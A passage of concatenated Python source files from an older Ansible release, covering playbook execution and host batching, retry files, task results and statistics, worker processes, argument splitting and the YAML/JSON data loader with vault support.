                                    self._tqm.send_callback('v2_playbook_on_vars_prompt', vname, private, prompt, encrypt, confirm, salt_size, salt, default)
                                    play.vars[vname] = display.do_var_prompt(vname, private, prompt, encrypt, confirm, salt_size, salt, default)
                                else: # we are either in --list-<option> or syntax check
                                    play.vars[vname] = default

                    # Create a temporary copy of the play here, so we can run post_validate
                    # on it without the templating changes affecting the original object.
                    all_vars = self._variable_manager.get_vars(loader=self._loader, play=play)
                    templar = Templar(loader=self._loader, variables=all_vars)
                    new_play = play.copy()
                    new_play.post_validate(templar)

                    if self._options.syntax:
                        continue

                    if self._tqm is None:
                        # we are just doing a listing
                        entry['plays'].append(new_play)

                    else:
                        self._tqm._unreachable_hosts.update(self._unreachable_hosts)

                        previously_failed = len(self._tqm._failed_hosts)
                        previously_unreachable = len(self._tqm._unreachable_hosts)

                        break_play = False
                        # we are actually running plays
                        for batch in self._get_serialized_batches(new_play):
                            if len(batch) == 0:
                                self._tqm.send_callback('v2_playbook_on_play_start', new_play)
                                self._tqm.send_callback('v2_playbook_on_no_hosts_matched')
                                break

                            # restrict the inventory to the hosts in the serialized batch
                            self._inventory.restrict_to_hosts(batch)
                            # and run it...
                            result = self._tqm.run(play=play)

                            # break the play if the result equals the special return code
                            if result & self._tqm.RUN_FAILED_BREAK_PLAY != 0:
                                result = self._tqm.RUN_FAILED_HOSTS
                                break_play = True

                            # check the number of failures here, to see if they're above the maximum
                            # failure percentage allowed, or if any errors are fatal. If either of those
                            # conditions are met, we break out, otherwise we only break out if the entire
                            # batch failed
                            failed_hosts_count = len(self._tqm._failed_hosts) + len(self._tqm._unreachable_hosts) - \
                                                 (previously_failed + previously_unreachable)

                            if len(batch) == failed_hosts_count:
                                break_play = True
                                break

                            # update the previous counts so they don't accumulate incorrectly
                            # over multiple serial batches
                            previously_failed += len(self._tqm._failed_hosts) - previously_failed
                            previously_unreachable += len(self._tqm._unreachable_hosts) - previously_unreachable

                            # save the unreachable hosts from this batch
                            self._unreachable_hosts.update(self._tqm._unreachable_hosts)

                        if break_play:
                            break

                    i = i + 1 # per play

                if entry:
                    entrylist.append(entry) # per playbook

                # send the stats callback for this playbook
                if self._tqm is not None:
                    if C.RETRY_FILES_ENABLED:
                        retries = set(self._tqm._failed_hosts.keys())
                        retries.update(self._tqm._unreachable_hosts.keys())
                        retries = sorted(retries)
                        if len(retries) > 0:
                            if C.RETRY_FILES_SAVE_PATH:
                                basedir = C.shell_expand(C.RETRY_FILES_SAVE_PATH)
                            elif playbook_path:
                                basedir = os.path.dirname(playbook_path)
                            else:
                                basedir = '~/'

                            (retry_name, _) = os.path.splitext(os.path.basename(playbook_path))
                            filename = os.path.join(basedir, "%s.retry" % retry_name)
                            if self._generate_retry_inventory(filename, retries):
                                display.display("\tto retry, use: --limit @%s\n" % filename)

                    self._tqm.send_callback('v2_playbook_on_stats', self._tqm._stats)

                # if the last result wasn't zero, break out of the playbook file name loop
                if result != 0:
                    break

            if entrylist:
                return entrylist

        finally:
            if self._tqm is not None:
                self._tqm.cleanup()
            if self._loader:
                self._loader.cleanup_all_tmp_files()

        if self._options.syntax:
            display.display("No issues encountered")
            return result

        return result

    def _get_serialized_batches(self, play):
        '''
        Returns a list of hosts, subdivided into batches based on
        the serial size specified in the play.
        '''

        # make sure we have a unique list of hosts
        all_hosts = self._inventory.get_hosts(play.hosts)
        all_hosts_len = len(all_hosts)

        # the serial value can be listed as a scalar or a list of
        # scalars, so we make sure it's a list here
        serial_batch_list = play.serial
        if len(serial_batch_list) == 0:
            serial_batch_list = [-1]

        cur_item = 0
        serialized_batches = []

        while len(all_hosts) > 0:
            # get the serial value from current item in the list
            serial = pct_to_int(serial_batch_list[cur_item], all_hosts_len)

            # if the serial count was not specified or is invalid, default to
            # a list of all hosts, otherwise grab a chunk of the hosts equal
            # to the current serial item size
            if serial <= 0:
                serialized_batches.append(all_hosts)
                break
            else:
                play_hosts = []
                for x in range(serial):
                    if len(all_hosts) > 0:
                        play_hosts.append(all_hosts.pop(0))

                serialized_batches.append(play_hosts)

            # increment the current batch list item number, and if we've hit
            # the end keep using the last element until we've consumed all of
            # the hosts in the inventory
            cur_item += 1
            if cur_item > len(serial_batch_list) - 1:
                cur_item = len(serial_batch_list) - 1

        return serialized_batches

    def _generate_retry_inventory(self, retry_path, replay_hosts):
        '''
        Called when a playbook run fails. It generates an inventory which allows
        re-running on ONLY the failed hosts.  This may duplicate some variable
        information in group_vars/host_vars but that is ok, and expected.
        '''
        try:
            makedirs_safe(os.path.dirname(retry_path))
            with open(retry_path, 'w') as fd:
                for x in replay_hosts:
                    fd.write("%s\n" % x)
        except Exception as e:
            display.warning("Could not create retry file '%s'.\n\t%s" % (retry_path, to_str(e)))
            return False

        return True






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.parsing.dataloader import DataLoader

class TaskResult:
    '''
    This class is responsible for interpretting the resulting data
    from an executed task, and provides helper methods for determining
    the result of a given task.
    '''

    def __init__(self, host, task, return_data):
        self._host = host
        self._task = task
        if isinstance(return_data, dict):
            self._result = return_data.copy()
        else:
            self._result = DataLoader().load(return_data)

    def is_changed(self):
        return self._check_key('changed')

    def is_skipped(self):
        # loop results
        if 'results' in self._result:
            results = self._result['results']
            # Loop tasks are only considered skipped if all items were skipped.
            # some squashed results (eg, yum) are not dicts and can't be skipped individually
            if results and all(isinstance(res, dict) and res.get('skipped', False) for res in results):
                return True

        # regular tasks and squashed non-dict results
        return self._result.get('skipped', False)

    def is_failed(self):
        if 'failed_when_result' in self._result or \
           'results' in self._result and True in [True for x in self._result['results'] if 'failed_when_result' in x]:
            return self._check_key('failed_when_result')
        else:
            return self._check_key('failed') or self._result.get('rc', 0) != 0

    def is_unreachable(self):
        return self._check_key('unreachable')

    def _check_key(self, key):
        if self._result.get('results', []):
            flag = False
            for res in self._result.get('results', []):
                if isinstance(res, dict):
                    flag |= res.get(key, False)
            return flag
        else:
            return self._result.get(key, False)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

class AggregateStats:
    ''' holds stats about per-host activity during playbook runs '''

    def __init__(self):

        self.processed = {}
        self.failures  = {}
        self.ok        = {}
        self.dark      = {}
        self.changed   = {}
        self.skipped   = {}

    def increment(self, what, host):
        ''' helper function to bump a statistic '''

        self.processed[host] = 1
        prev = (getattr(self, what)).get(host, 0)
        getattr(self, what)[host] = prev+1

    def summarize(self, host):
        ''' return information about a particular host '''

        return dict(
            ok          = self.ok.get(host, 0),
            failures    = self.failures.get(host, 0),
            unreachable = self.dark.get(host,0),
            changed     = self.changed.get(host, 0),
            skipped     = self.skipped.get(host, 0)
        )







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six.moves import queue

import json
import multiprocessing
import os
import signal
import sys
import time
import traceback
import zlib

from jinja2.exceptions import TemplateNotFound

# TODO: not needed if we use the cryptography library with its default RNG
# engine
HAS_ATFORK=True
try:
    from Crypto.Random import atfork
except ImportError:
    HAS_ATFORK=False

from ansible.errors import AnsibleError, AnsibleConnectionFailure
from ansible.executor.task_executor import TaskExecutor
from ansible.executor.task_result import TaskResult
from ansible.playbook.handler import Handler
from ansible.playbook.task import Task
from ansible.vars.unsafe_proxy import AnsibleJSONUnsafeDecoder
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['WorkerProcess']


class WorkerProcess(multiprocessing.Process):
    '''
    The worker thread class, which uses TaskExecutor to run tasks
    read from a job queue and pushes results into a results queue
    for reading later.
    '''

    def __init__(self, rslt_q, task_vars, host, task, play_context, loader, variable_manager, shared_loader_obj):

        super(WorkerProcess, self).__init__()
        # takes a task queue manager as the sole param:
        self._rslt_q            = rslt_q
        self._task_vars         = task_vars
        self._host              = host
        self._task              = task
        self._play_context      = play_context
        self._loader            = loader
        self._variable_manager  = variable_manager
        self._shared_loader_obj = shared_loader_obj

        # dupe stdin, if we have one
        self._new_stdin = sys.stdin
        try:
            fileno = sys.stdin.fileno()
            if fileno is not None:
                try:
                    self._new_stdin = os.fdopen(os.dup(fileno))
                except OSError:
                    # couldn't dupe stdin, most likely because it's
                    # not a valid file descriptor, so we just rely on
                    # using the one that was passed in
                    pass
        except ValueError:
            # couldn't get stdin's fileno, so we just carry on
            pass

    def run(self):
        '''
        Called when the process is started.  Pushes the result onto the
        results queue. We also remove the host from the blocked hosts list, to
        signify that they are ready for their next task.
        '''

        #import cProfile, pstats, StringIO
        #pr = cProfile.Profile()
        #pr.enable()

        if HAS_ATFORK:
            atfork()

        try:
            # execute the task and build a TaskResult from the result
            display.debug("running TaskExecutor() for %s/%s" % (self._host, self._task))
            executor_result = TaskExecutor(
                self._host,
                self._task,
                self._task_vars,
                self._play_context,
                self._new_stdin,
                self._loader,
                self._shared_loader_obj,
                self._rslt_q
            ).run()

            display.debug("done running TaskExecutor() for %s/%s" % (self._host, self._task))
            self._host.vars = dict()
            self._host.groups = []
            task_result = TaskResult(self._host.name, self._task._uuid, executor_result)

            # put the result on the result queue
            display.debug("sending task result")
            self._rslt_q.put(task_result)
            display.debug("done sending task result")

        except AnsibleConnectionFailure:
            self._host.vars = dict()
            self._host.groups = []
            task_result = TaskResult(self._host.name, self._task._uuid, dict(unreachable=True))
            self._rslt_q.put(task_result, block=False)

        except Exception as e:
            if not isinstance(e, (IOError, EOFError, KeyboardInterrupt, SystemExit)) or isinstance(e, TemplateNotFound):
                try:
                    self._host.vars = dict()
                    self._host.groups = []
                    task_result = TaskResult(self._host.name, self._task._uuid, dict(failed=True, exception=to_unicode(traceback.format_exc()), stdout=''))
                    self._rslt_q.put(task_result, block=False)
                except:
                    display.debug(u"WORKER EXCEPTION: %s" % to_unicode(e))
                    display.debug(u"WORKER TRACEBACK: %s" % to_unicode(traceback.format_exc()))

        display.debug("WORKER PROCESS EXITING")

        #pr.disable()
        #s = StringIO.StringIO()
        #sortby = 'time'
        #ps = pstats.Stats(pr, stream=s).sort_stats(sortby)
        #ps.print_stats()
        #with open('worker_%06d.stats' % os.getpid(), 'w') as f:
        #    f.write(s.getvalue())







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type






# (c) 2014 James Cammarata, <jcammarata@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import re
import codecs

from ansible.errors import AnsibleParserError
from ansible.parsing.quoting import unquote

# Decode escapes adapted from rspeer's answer here:
# http://stackoverflow.com/questions/4020539/process-escape-sequences-in-a-string-in-python
_HEXCHAR = '[a-fA-F0-9]'
_ESCAPE_SEQUENCE_RE = re.compile(r'''
    ( \\U{0}           # 8-digit hex escapes
    | \\u{1}           # 4-digit hex escapes
    | \\x{2}           # 2-digit hex escapes
    | \\N\{{[^}}]+\}}  # Unicode characters by name
    | \\[\\'"abfnrtv]  # Single-character escapes
    )'''.format(_HEXCHAR*8, _HEXCHAR*4, _HEXCHAR*2), re.UNICODE | re.VERBOSE)

def _decode_escapes(s):
    def decode_match(match):
        return codecs.decode(match.group(0), 'unicode-escape')

    return _ESCAPE_SEQUENCE_RE.sub(decode_match, s)

def parse_kv(args, check_raw=False):
    '''
    Convert a string of key/value items to a dict. If any free-form params
    are found and the check_raw option is set to True, they will be added
    to a new parameter called '_raw_params'. If check_raw is not enabled,
    they will simply be ignored.
    '''

    ### FIXME: args should already be a unicode string
    from ansible.utils.unicode import to_unicode
    args = to_unicode(args, nonstring='passthru')

    options = {}
    if args is not None:
        try:
            vargs = split_args(args)
        except ValueError as ve:
            if 'no closing quotation' in str(ve).lower():
                raise AnsibleParsingError("error parsing argument string, try quoting the entire line.")
            else:
                raise

        raw_params = []
        for orig_x in vargs:
            x = _decode_escapes(orig_x)
            if "=" in x:
                pos = 0
                try:
                    while True:
                        pos = x.index('=', pos + 1)
                        if pos > 0 and x[pos - 1] != '\\':
                            break
                except ValueError:
                    # ran out of string, but we must have some escaped equals,
                    # so replace those and append this to the list of raw params
                    raw_params.append(x.replace('\\=', '='))
                    continue

                k = x[:pos]
                v = x[pos + 1:]

                # FIXME: make the retrieval of this list of shell/command
                #        options a function, so the list is centralized
                if check_raw and k not in ('creates', 'removes', 'chdir', 'executable', 'warn'):
                    raw_params.append(orig_x)
                else:
                    options[k.strip()] = unquote(v.strip())
            else:
                raw_params.append(orig_x)

        # recombine the free-form params, if any were found, and assign
        # them to a special option for use later by the shell/command module
        if len(raw_params) > 0:
            options[u'_raw_params'] = ' '.join(raw_params)

    return options

def _get_quote_state(token, quote_char):
    '''
    the goal of this block is to determine if the quoted string
    is unterminated in which case it needs to be put back together
    '''
    # the char before the current one, used to see if
    # the current character is escaped
    prev_char = None
    for idx, cur_char in enumerate(token):
        if idx > 0:
            prev_char = token[idx-1]
        if cur_char in '"\'' and prev_char != '\\':
            if quote_char:
                if cur_char == quote_char:
                    quote_char = None
            else:
                quote_char = cur_char
    return quote_char

def _count_jinja2_blocks(token, cur_depth, open_token, close_token):
    '''
    this function counts the number of opening/closing blocks for a
    given opening/closing type and adjusts the current depth for that
    block based on the difference
    '''
    num_open  = token.count(open_token)
    num_close = token.count(close_token)
    if num_open != num_close:
        cur_depth += (num_open - num_close)
        if cur_depth < 0:
            cur_depth = 0
    return cur_depth

def split_args(args):
    '''
    Splits args on whitespace, but intelligently reassembles
    those that may have been split over a jinja2 block or quotes.

    When used in a remote module, we won't ever have to be concerned about
    jinja2 blocks, however this function is/will be used in the
    core portions as well before the args are templated.

    example input: a=b c="foo bar"
    example output: ['a=b', 'c="foo bar"']

    Basically this is a variation shlex that has some more intelligence for
    how Ansible needs to use it.
    '''

    # the list of params parsed out of the arg string
    # this is going to be the result value when we are done
    params = []

    # Initial split on white space
    args = args.strip()
    items = args.strip().split('\n')

    # iterate over the tokens, and reassemble any that may have been
    # split on a space inside a jinja2 block.
    # ex if tokens are "{{", "foo", "}}" these go together

    # These variables are used
    # to keep track of the state of the parsing, since blocks and quotes
    # may be nested within each other.

    quote_char = None
    inside_quotes = False
    print_depth   = 0 # used to count nested jinja2 {{ }} blocks
    block_depth   = 0 # used to count nested jinja2 {% %} blocks
    comment_depth = 0 # used to count nested jinja2 {# #} blocks

    # now we loop over each split chunk, coalescing tokens if the white space
    # split occurred within quotes or a jinja2 block of some kind
    for itemidx,item in enumerate(items):

        # we split on spaces and newlines separately, so that we
        # can tell which character we split on for reassembly
        # inside quotation characters
        tokens = item.strip().split(' ')

        line_continuation = False
        for idx,token in enumerate(tokens):

            # if we hit a line continuation character, but
            # we're not inside quotes, ignore it and continue
            # on to the next token while setting a flag
            if token == '\\' and not inside_quotes:
                line_continuation = True
                continue

            # store the previous quoting state for checking later
            was_inside_quotes = inside_quotes
            quote_char = _get_quote_state(token, quote_char)
            inside_quotes = quote_char is not None

            # multiple conditions may append a token to the list of params,
            # so we keep track with this flag to make sure it only happens once
            # append means add to the end of the list, don't append means concatenate
            # it to the end of the last token
            appended = False

            # if we're inside quotes now, but weren't before, append the token
            # to the end of the list, since we'll tack on more to it later
            # otherwise, if we're inside any jinja2 block, inside quotes, or we were
            # inside quotes (but aren't now) concat this token to the last param
            if inside_quotes and not was_inside_quotes and not(print_depth or block_depth or comment_depth):
                params.append(token)
                appended = True
            elif print_depth or block_depth or comment_depth or inside_quotes or was_inside_quotes:
                if idx == 0 and was_inside_quotes:
                    params[-1] = "%s%s" % (params[-1], token)
                elif len(tokens) > 1:
                    spacer = ''
                    if idx > 0:
                        spacer = ' '
                    params[-1] = "%s%s%s" % (params[-1], spacer, token)
                else:
                    params[-1] = "%s\n%s" % (params[-1], token)
                appended = True

            # if the number of paired block tags is not the same, the depth has changed, so we calculate that here
            # and may append the current token to the params (if we haven't previously done so)
            prev_print_depth = print_depth
            print_depth = _count_jinja2_blocks(token, print_depth, "{{", "}}")
            if print_depth != prev_print_depth and not appended:
                params.append(token)
                appended = True

            prev_block_depth = block_depth
            block_depth = _count_jinja2_blocks(token, block_depth, "{%", "%}")
            if block_depth != prev_block_depth and not appended:
                params.append(token)
                appended = True

            prev_comment_depth = comment_depth
            comment_depth = _count_jinja2_blocks(token, comment_depth, "{#", "#}")
            if comment_depth != prev_comment_depth and not appended:
                params.append(token)
                appended = True

            # finally, if we're at zero depth for all blocks and not inside quotes, and have not
            # yet appended anything to the list of params, we do so now
            if not (print_depth or block_depth or comment_depth) and not inside_quotes and not appended and token != '':
                params.append(token)

        # if this was the last token in the list, and we have more than
        # one item (meaning we split on newlines), add a newline back here
        # to preserve the original structure
        if len(items) > 1 and itemidx != len(items) - 1 and not line_continuation:
            params[-1] += '\n'

        # always clear the line continuation flag
        line_continuation = False

    # If we're done and things are not at zero depth or we're still inside quotes,
    # raise an error to indicate that the args were unbalanced
    if print_depth or block_depth or comment_depth or inside_quotes:
        raise AnsibleParserError("failed at splitting arguments, either an unbalanced jinja2 block or quotes: {}".format(args))

    return params






# (c) 2014 James Cammarata, <jcammarata@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


def is_quoted(data):
    return len(data) > 1 and data[0] == data[-1] and data[0] in ('"', "'") and data[-2] != '\\'

def unquote(data):
    ''' removes first and last quotes from a string, if the string starts and ends with the same quotes '''
    if is_quoted(data):
        return data[1:-1]
    return data






# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import copy
import os
import json
import subprocess
import tempfile
from yaml import YAMLError

from ansible.compat.six import text_type, string_types

from ansible.errors import AnsibleFileNotFound, AnsibleParserError, AnsibleError
from ansible.errors.yaml_strings import YAML_SYNTAX_ERROR
from ansible.parsing.vault import VaultLib
from ansible.parsing.quoting import unquote
from ansible.parsing.yaml.loader import AnsibleLoader
from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject, AnsibleUnicode
from ansible.module_utils.basic import is_executable
from ansible.utils.path import unfrackpath
from ansible.utils.unicode import to_unicode, to_bytes, to_str

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class DataLoader():

    '''
    The DataLoader class is used to load and parse YAML or JSON content,
    either from a given file name or from a string that was previously
    read in through other means. A Vault password can be specified, and
    any vault-encrypted files will be decrypted.

    Data read from files will also be cached, so the file will never be
    read from disk more than once.

    Usage:

        dl = DataLoader()
        # optionally: dl.set_vault_password('foo')
        ds = dl.load('...')
        ds = dl.load_from_file('/path/to/file')
    '''

    def __init__(self):
        self._basedir = '.'
        self._FILE_CACHE = dict()
        self._tempfiles = set()

        # initialize the vault stuff with an empty password
        self.set_vault_password(None)

    def set_vault_password(self, vault_password):
        self._vault_password = vault_password
        self._vault = VaultLib(password=vault_password)

    def load(self, data, file_name='<string>', show_content=True):
        '''
        Creates a python datastructure from the given data, which can be either
        a JSON or YAML string.
        '''
        new_data = None
        try:
            # we first try to load this data as JSON
            new_data = json.loads(data)
        except:
            # must not be JSON, let the rest try
            if isinstance(data, AnsibleUnicode):
                # The PyYAML's libyaml bindings use PyUnicode_CheckExact so
                # they are unable to cope with our subclass.
                # Unwrap and re-wrap the unicode so we can keep track of line
                # numbers
                in_data = text_type(data)
            else:
                in_data = data
            try:
                new_data = self._safe_load(in_data, file_name=file_name)
            except YAMLError as yaml_exc:
                self._handle_error(yaml_exc, file_name, show_content)

            if isinstance(data, AnsibleUnicode):
                new_data = AnsibleUnicode(new_data)
                new_data.ansible_pos = data.ansible_pos

        return new_data

    def load_from_file(self, file_name):
        ''' Loads data from a file, which can contain either JSON or YAML.  '''

        file_name = self.path_dwim(file_name)

        # if the file has already been read in and cached, we'll
        # return those results to avoid more file/vault operations
        if file_name in self._FILE_CACHE:
            parsed_data = self._FILE_CACHE[file_name]
        else:
            # read the file contents and load the data structure from them
            (file_data, show_content) = self._get_file_contents(file_name)
            parsed_data = self.load(data=file_data, file_name=file_name, show_content=show_content)

            # cache the file contents for next time
            self._FILE_CACHE[file_name] = parsed_data

        # return a deep copy here, so the cache is not affected
        return copy.deepcopy(parsed_data)

    def path_exists(self, path):
        path = self.path_dwim(path)
        return os.path.exists(to_bytes(path, errors='strict'))

    def is_file(self, path):
        path = self.path_dwim(path)
        return os.path.isfile(to_bytes(path, errors='strict')) or path == os.devnull

    def is_directory(self, path):
        path = self.path_dwim(path)
        return os.path.isdir(to_bytes(path, errors='strict'))

    def list_directory(self, path):
        path = self.path_dwim(path)
        return os.listdir(path)

    def is_executable(self, path):
        '''is the given path executable?'''
        path = self.path_dwim(path)
        return is_executable(path)

    def _safe_load(self, stream, file_name=None):
        ''' Implements yaml.safe_load(), except using our custom loader class. '''

        loader = AnsibleLoader(stream, file_name)
        try:
            return loader.get_single_data()
        finally:
            try:
                loader.dispose()
            except AttributeError:
                pass # older versions of yaml don't have dispose function, ignore

    def _get_file_contents(self, file_name):
        '''
        Reads the file contents from the given file name, and will decrypt them
        if they are found to be vault-encrypted.
        '''
        if not file_name or not isinstance(file_name, string_types):
            raise AnsibleParserError("Invalid filename: '%s'" % str(file_name))

        b_file_name = to_bytes(file_name)
        if not self.path_exists(b_file_name) or not self.is_file(b_file_name):
            raise AnsibleFileNotFound("the file_name '%s' does not exist, or is not readable" % file_name)

        show_content = True
        try:
            with open(b_file_name, 'rb') as f:
                data = f.read()
                if self._vault.is_encrypted(data):
                    data = self._vault.decrypt(data, filename=b_file_name)
                    show_content = False

            data = to_unicode(data, errors='strict')
            return (data, show_content)

        except (IOError, OSError) as e:
            raise AnsibleParserError("an error occurred while trying to read the file '%s': %s" % (file_name, str(e)))

    def _handle_error(self, yaml_exc, file_name, show_content):
        '''
        Optionally constructs an object (AnsibleBaseYAMLObject) to encapsulate the
        file name/position where a YAML exception occurred, and raises an AnsibleParserError
        to display the syntax exception information.
        '''

        # if the YAML exception contains a problem mark, use it to construct
        # an object the error class can use to display the faulty line
        err_obj = None
        if hasattr(yaml_exc, 'problem_mark'):
            err_obj = AnsibleBaseYAMLObject()
            err_obj.ansible_pos = (file_name, yaml_exc.problem_mark.line + 1, yaml_exc.problem_mark.column + 1)

        raise AnsibleParserError(YAML_SYNTAX_ERROR, obj=err_obj, show_content=show_content)

    def get_basedir(self):
        ''' returns the current basedir '''
        return self._basedir

    def set_basedir(self, basedir):
        ''' sets the base directory, used to find files when a relative path is given '''

        if basedir is not None:
            self._basedir = to_unicode(basedir)

    def path_dwim(self, given):
        '''
        make relative paths work like folks expect.
        '''

        given = unquote(given)
        given = to_unicode(given, errors='strict')

        if given.startswith(u"/"):
            return os.path.abspath(given)
        elif given.startswith(u"~"):
            return os.path.abspath(os.path.expanduser(given))
        else:
            basedir = to_unicode(self._basedir, errors='strict')
            return os.path.abspath(os.path.join(basedir, given))

    def path_dwim_relative(self, path, dirname, source):
        '''
        find one file in either a role or playbook dir with or without
        explicitly named dirname subdirs

        Used in action plugins and lookups to find supplemental files that
        could be in either place.
        '''

        search = []
        isrole = False

        # I have full path, nothing else needs to be looked at
        if source.startswith('~') or source.startswith(os.path.sep):
            search.append(self.path_dwim(source))
        else:
            # base role/play path + templates/files/vars + relative filename
            search.append(os.path.join(path, dirname, source))
            basedir = unfrackpath(path)

            # is it a role and if so make sure you get correct base path
            if path.endswith('tasks') and os.path.exists(to_bytes(os.path.join(path,'main.yml'), errors='strict')) \
                or os.path.exists(to_bytes(os.path.join(path,'tasks/main.yml'), errors='strict')):
                isrole = True
                if path.endswith('tasks'):
                    basedir = unfrackpath(os.path.dirname(path))

            cur_basedir = self._basedir
            self.set_basedir(basedir)
            # resolved base role/play path + templates/files/vars + relative filename
            search.append(self.path_dwim(os.path.join(basedir, dirname, source)))
            self.set_basedir(cur_basedir)

            if isrole and not source.endswith(dirname):
                # look in role's tasks dir w/o dirname
                search.append(self.path_dwim(os.path.join(basedir, 'tasks', source)))

            # try to create absolute path for loader basedir + templates/files/vars + filename
            search.append(self.path_dwim(os.path.join(dirname,source)))
            search.append(self.path_dwim(os.path.join(basedir, source)))

            # try to create absolute path for loader basedir + filename
            search.append(self.path_dwim(source))

        for candidate in search:
            if os.path.exists(to_bytes(candidate, errors='strict')):
                break

        return candidate

    def path_dwim_relative_stack(self, paths, dirname, source):
        '''
